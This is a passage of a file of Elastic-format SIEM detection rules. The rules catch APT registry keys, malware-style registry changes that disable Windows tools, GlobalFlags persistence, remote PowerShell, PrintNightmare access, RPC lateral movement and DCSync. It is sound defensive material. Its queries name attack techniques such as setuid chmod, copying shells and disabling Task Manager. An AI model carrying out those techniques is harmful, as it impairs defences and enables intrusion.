"reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Trent Liffick (@tliffick)"], "license": ""}
{"description": "Detects registry key used by Leviathan APT in Malaysian focused campaign", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "13f3f239-0bf5-bc85-f0fa-3e9c87d5eefc", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Leviathan Registry Key Activity", "query": "winlog.event_data.TargetObject:\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\ntkd\"", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Aidan Bracher"], "license": ""}
{"description": "Detects registry keys created in OceanLotus (also known as APT32) attacks", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f72f736-8a86-7394-1db3-c63216de2d75", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "OceanLotus Registry Activity", "query": "(winlog.event_data.TargetObject:\"HKCU\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\\\{E08A0F4B\\-1F65\\-4D4D\\-9A09\\-BD4625B9C5A1\\}\\\\Model\" OR (winlog.event_data.TargetObject:(HKCU\\\\SOFTWARE\\\\App\\\\* OR HKLM\\\\SOFTWARE\\\\App\\\\*) AND winlog.event_data.TargetObject:(*AppXbf13d4ea2945444d8b13e2121cb6b663\\\\* OR *AppX70162486c7554f7f80f481985d67586d\\\\* OR *AppX37cc7fdccd644b4f85f4b22d5a3f105a\\\\*) AND winlog.event_data.TargetObject:(*Application OR *DefaultIcon)) OR (winlog.event_data.TargetObject:HKCU\\\\* AND winlog.event_data.TargetObject:(*Classes\\\\AppXc52346ec40fb4061ad96be0e6cb7d16a\\\\* OR *Classes\\\\AppX3bbba44c6cae4d9695755183472171e2\\\\* OR *Classes\\\\CLSID\\\\\\{E3517E26\\-8E93\\-458D\\-A6DF\\-8030BC80528B\\}\\\\* OR *Classes\\\\CLSID\\\\\\{E08A0F4B\\-1F65\\-4D4D\\-9A09\\-BD4625B9C5A1\\}\\\\Model*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["megan201296", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects Registry modifications performed by Ke3chang malware in campaigns running in 2019 and 2020", "enabled": false, "false_positives": ["Will need to be looked for combinations of those processes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1b9d1f8c-bad1-1c11-abb7-99db011b4478", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Ke3chang Registry Key Modifications", "query": "process.command_line:(*\\-Property\\ DWORD\\ \\-name\\ DisableFirstRunCustomize\\ \\-value\\ 2\\ \\-Force* OR *\\-Property\\ String\\ \\-name\\ Check_Associations\\ \\-value* OR *\\-Property\\ DWORD\\ \\-name\\ IEHarden\\ \\-value\\ 0\\ \\-Force*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis", "Swisscom"], "license": ""}
{"description": "Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)", "enabled": false, "false_positives": ["Legitimate admin script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f504ced0-0ac6-efed-533d-679cceefa6f1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disable Internal Tools or Feature in Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:(*SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\system\\\\DisableRegistryTools OR *SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\\DisableCMD OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\system\\\\DisableTaskmgr OR *SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Explorer\\\\DisableNotificationCenter OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableChangePassword OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableLockWorkstation OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\StartMenuLogOff) AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR (winlog.event_data.TargetObject:(*SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\shutdownwithoutlogon OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PushNotifications\\\\ToastEnabled OR *\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Storage\\\\Write\\ Protection OR *\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\StorageDevicePolicies\\\\WriteProtect) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)", "enabled": false, "false_positives": ["Legitim admin script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "18e0d0ef-fbb4-db1f-7557-0db8bbbdd29e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Registry Explorer Policy Modification", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoLogOff OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoDesktop OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFind OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoControlPanel OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFileMenu OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoClose OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoSetTaskbar OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoPropertiesMyDocuments OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoTrayContextMenu) AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)", "enabled": false, "false_positives": ["Legitim admin script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6832456c-1a98-62d6-e87b-ef9aacd42651", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Registry Hide Function from User", "query": "(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:(*SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\HideClock OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\HideSCAHealth OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\HideSCANetwork OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\HideSCAPower OR *Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\HideSCAVolume) AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR (winlog.event_data.TargetObject:(*SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\ShowInfoTip OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\ShowCompColor) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys", "author": ["Karneades", "Jonhnathan Ribeiro", "Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8d24f5bb-e901-bf4b-c9da-08fc2bf03978", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Persistence Via GlobalFlags", "query": "(winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\* AND winlog.event_data.TargetObject:*\\\\Image\\ File\\ Execution\\ Options\\\\* AND winlog.event_data.TargetObject:*\\\\GlobalFlag* AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\* AND winlog.event_data.TargetObject:*\\\\SilentProcessExit\\\\* AND winlog.event_data.TargetObject:(*\\\\ReportingMode* OR *\\\\MonitorProcess*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects REGSVR32.exe to execute DLL hosted on remote shares", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "31ffa63c-4506-7070-51ab-4bdf94d6ec40", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Regsvr32 Execution From Remote Share", "query": "((process.executable.text:*\\\\regsvr32.exe OR winlog.event_data.OriginalFileName:\"\\\\REGSVR32.EXE\") AND process.command_line.text:*\\ \\\\\\\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects relevant ClamAV messages", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f36c333c-2172-5964-07e6-4f6a1fec262d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Relevant ClamAV Message", "query": "(*Trojan*FOUND* OR *VirTool*FOUND* OR *Webshell*FOUND* OR *Rootkit*FOUND* OR *Htran*FOUND*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects relevant commands often related to malware or hacking activity", "enabled": false, "false_positives": ["Admin activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f5569196-e368-908a-1568-0b288c75b76b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Commands Linux", "query": "(type:\"EXECVE\" AND ((a0:\"chmod\" AND a1:\"777\") OR (a0:\"chmod\" AND a1:\"u\\+s\") OR (a0:\"cp\" AND a1:\"\\/bin\\/ksh\") OR (a0:\"cp\" AND a1:\"\\/bin\\/sh\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["Internal Research - mostly derived from exploit code including code in MSF"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects remote PowerShell connections by monitoring network outbound connections to ports 5985 or 5986 from a non-network service account.", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "enabled": false, "false_positives": ["Legitimate usage of remote PowerShell, e.g. remote administration and monitoring.", "Network Service user name of a not-covered localization"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1f3dec12-f199-85ba-f824-f1e6eac300da", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote PowerShell Session (Network)", "query": "((destination.port:(\"5985\" OR \"5986\") AND winlog.event_data.Initiated:\"true\") AND (NOT ((((user.name:(*NETWORK\\ SERVICE* OR *NETZWERKDIENST* OR *SERVIZIO\\ DI\\ RETE* OR *SERVICIO\\ DE\\ RED*)) OR (user.name:*SERVICE\\ R* AND user.name:*SEAU*) OR (source.ip:0\\:0\\:*) OR (process.executable.text:(\"C:\\Program Files\\Avast Software\\Avast\\AvastSvc.exe\" OR \"C:\\Program Files (x86)\\Avast Software\\Avast\\AvastSvc.exe\")))) OR ((source.ip:(\"::1\" OR \"127.0.0.1\") AND destination.ip:(\"::1\" OR \"127.0.0.1\"))))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).", "enabled": false, "false_positives": ["Legitimate usage of remote Powershell, e.g. for monitoring purposes."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "41e6a0de-4007-a716-3844-dd94ed08580e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remote PowerShell Session Host Process (WinRM)", "query": "(process.executable.text:*\\\\wsmprovhost.exe OR process.parent.executable.text:*\\\\wsmprovhost.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1021", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects remote PowerShell sessions", "enabled": false, "false_positives": ["Legitimate use remote PowerShell sessions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "085302f4-1edf-09b3-5c53-696b780ed50d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote PowerShell Session (PS Module)", "query": "((ContextInfo:*\\ \\=\\ ServerRemoteHost\\ * AND ContextInfo:*wsmprovhost.exe*) AND (NOT ((ContextInfo:*\\\\Windows\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\Modules\\\\Microsoft.PowerShell.Archive\\\\Microsoft.PowerShell.Archive.psm1*))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g", "Tim Shelton"], "license": ""}
{"description": "Detects remote PowerShell sessions", "enabled": false, "false_positives": ["Legitimate use remote PowerShell sessions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "61fe4d18-cfff-d121-8fdb-bd7acf43a69f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote PowerShell Session (PS Classic)", "query": "(HostName:\"ServerRemoteHost\" AND process.command_line:*wsmprovhost.exe*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9cfee197-0712-b1ce-3a3c-2c1fdae16779", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2021-1675 Print Spooler Exploitation IPC Access", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5145\" AND winlog.event_data.ShareName:\\\\\\*\\\\IPC$ AND winlog.event_data.RelativeTargetName:\"spoolss\" AND winlog.event_data.AccessMask:\"0x3\" AND winlog.event_data.ObjectType:\"File\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["INIT_6"], "license": ""}
{"description": "Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.", "enabled": false, "false_positives": ["Some administrative tasks on remote host"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b803507c-c413-3417-34d4-ccadb4360ef9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote DCOM/WMI Lateral Movement", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:(\"4d9f4ab8\\-7d1c\\-11cf\\-861e\\-0020af6e7c57\" OR \"99fcfec4\\-5260\\-101b\\-bbcb\\-00aa0021347a\" OR \"000001a0\\-0000\\-0000\\-c000\\-000000000046\" OR \"00000131\\-0000\\-0000\\-c000\\-000000000046\" OR \"00000143\\-0000\\-0000\\-c000\\-000000000046\" OR \"00000000\\-0000\\-0000\\-c000\\-000000000046\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021", "T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to collect information", "enabled": false, "false_positives": ["Remote administration of registry values"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "544faa6a-eda1-e852-1130-fa94904a0c2f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Registry Recon", "query": "((EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"338cd001\\-2244\\-31f1\\-aaaa\\-900038001003\") AND (NOT (OpNum:(\"6\" OR \"7\" OR \"8\" OR \"13\" OR \"18\" OR \"19\" OR \"21\" OR \"22\" OR \"23\" OR \"35\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to create or execute a scheduled task via ATSvc", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e02959ce-57e4-90f1-7729-e69fe3e57427", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Schedule Task Lateral Movement via ATSvc", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"1ff70682\\-0a51\\-30e8\\-076d\\-740be8cee98b\" AND OpNum:(\"0\" OR \"1\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1053", "T1053"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to create or execute a scheduled task via SASec", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4a7f06cf-f895-930a-5842-28d91c3d6d93", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Schedule Task Lateral Movement via SASec", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"378e52b0\\-c0a9\\-11cf\\-822d\\-00aa0051e40f\" AND OpNum:(\"0\" OR \"1\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1053", "T1053"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to create or execute a scheduled task", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "0a058c29-ab92-5888-b2b9-00060f660bf0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Schedule Task Lateral Movement via ITaskSchedulerService", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"86d35949\\-83c9\\-4044\\-b424\\-db363231fd0c\" AND OpNum:(\"1\" OR \"3\" OR \"4\" OR \"10\" OR \"11\" OR \"12\" OR \"13\" OR \"14\" OR \"15\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1053", "T1053"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to get event log information via EVEN or EVEN6", "enabled": false, "false_positives": ["Remote administrative tasks on Windows Events"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "13fb23bb-e385-bab0-f458-c764e2992dd7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Event Log Recon", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:(\"82273fdc\\-e32a\\-18c3\\-3f78\\-827929dc23ea\" OR \"f6beaff7\\-1e19\\-4fbb\\-9f8f\\-b89e2018337c\"))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to modify the registry and possible execute code", "enabled": false, "false_positives": ["Remote administration of registry values"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b68ad196-6cbb-1c2b-1c29-4ac41570d56d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Registry Lateral Movement", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"338cd001\\-2244\\-31f1\\-aaaa\\-900038001003\" AND OpNum:(\"6\" OR \"7\" OR \"8\" OR \"13\" OR \"18\" OR \"19\" OR \"21\" OR \"22\" OR \"23\" OR \"35\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "fcd6a3a1-fd05-cf9c-9ad2-d1dadb134377", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Possible DCSync Attack", "query": "((EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"e3514235\\-4b06\\-11d1\\-ab04\\-00c04fc2dcd2\") AND (NOT (OpNum:(\"0\" OR \"1\" OR \"12\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1033"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", "enabled": false, "false_positives": ["Administrative tasks on remote services"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "916163d8-abcd-c3cb-1e11-739b625bee21", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Server Service Abuse for Lateral Movement", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"367abb81\\-9844\\-35f1\\-ad32\\-98f038001003\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1569"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
